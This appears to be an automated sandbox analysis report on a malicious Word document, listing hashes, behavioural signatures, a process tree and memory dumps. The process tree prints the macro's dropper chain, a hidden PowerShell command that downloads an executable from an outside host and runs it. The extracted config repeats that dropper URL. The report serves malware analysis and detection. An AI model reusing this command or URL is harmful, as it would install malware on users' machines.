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Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10/04/2024, 14:31

General

  • Target

    dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f.doc

  • Size

    34KB

  • MD5

    12840e2c8a5f378153d9eaea226c592b

  • SHA1

    a6cfa25e5a9eb7fca97b19b2f5b8003ed7c7aaae

  • SHA256

    dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f

  • SHA512

    d5c07898f3d313a12a38bc730543a33b68d73786a1f798fa0b9277ba324b14ec5833a2f06bbef6c562b964d664c7fcc3beec245add1e8c2437418c5f2a89e84d

  • SSDEEP

    384:tUMbR2efiSUR/8dBQfq9uVJQSwy9y0jbUDIotCW:tUMbR2l/qmJ1wLQUD

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://1833.site/gp00973.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Public\Documents\wanthistory.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w h Start-BitsTransfer -Source htt`p://1833.site/gp00973.exe -Destination C:\Users\Public\Documents\regioncheck.exe;C:\Users\Public\Documents\regioncheck.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2624
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3024

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      af2b83a5fa4e8be8190b0fecc71b88cb

      SHA1

      6d34fd2f5fcaaeb8c3424424b6fd8f57be6ec0cf

      SHA256

      d2e760e531c6781d1d877da6598b42d5b48b5cab178665bf00bc9a44c84449d2

      SHA512

      cfd8dadd762facf8238f738ec42e9625c725ccd7e37002eb1d10556f20e3efa8c63fb615eb8df81bfe6e1683549cf198d3dae8104f2a448d97289ad846ab2362

    • C:\Users\Public\Documents\wanthistory.bat

      Filesize

      172B

      MD5

      eae996bcbd727eb45365a2230d52485d

      SHA1

      cb10800dfc57c9d581ce52f15f36edb3e1e2a9ef

      SHA256

      3b3dc0f2befb4174f856fcec6e5237be9c4102c9f54ed2062d3c9e5b6c23fe55

      SHA512

      6ff5af5b8b60d599e5b705e69f817a79e90cc43b5336a3887e156ced213781e6f64add54d2354bbeb0cbca4fd9b9b39c050f6b4950409f7beb2ae13e1040bd66

    • memory/1956-37-0x00000000711AD000-0x00000000711B8000-memory.dmp

      Filesize

      44KB

    • memory/1956-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1956-2-0x00000000711AD000-0x00000000711B8000-memory.dmp

      Filesize

      44KB

    • memory/1956-5-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/1956-6-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/1956-7-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/1956-53-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1956-0-0x000000002F5A1000-0x000000002F5A2000-memory.dmp

      Filesize

      4KB

    • memory/1956-38-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2624-34-0x00000000029D0000-0x0000000002A10000-memory.dmp

      Filesize

      256KB

    • memory/2624-35-0x000000006AA10000-0x000000006AFBB000-memory.dmp

      Filesize

      5.7MB

    • memory/2624-31-0x000000006AA10000-0x000000006AFBB000-memory.dmp

      Filesize

      5.7MB

    • memory/2624-32-0x00000000029D0000-0x0000000002A10000-memory.dmp

      Filesize

      256KB

    • memory/2624-33-0x00000000029D0000-0x0000000002A10000-memory.dmp

      Filesize

      256KB

    • memory/2624-30-0x000000006AA10000-0x000000006AFBB000-memory.dmp

      Filesize

      5.7MB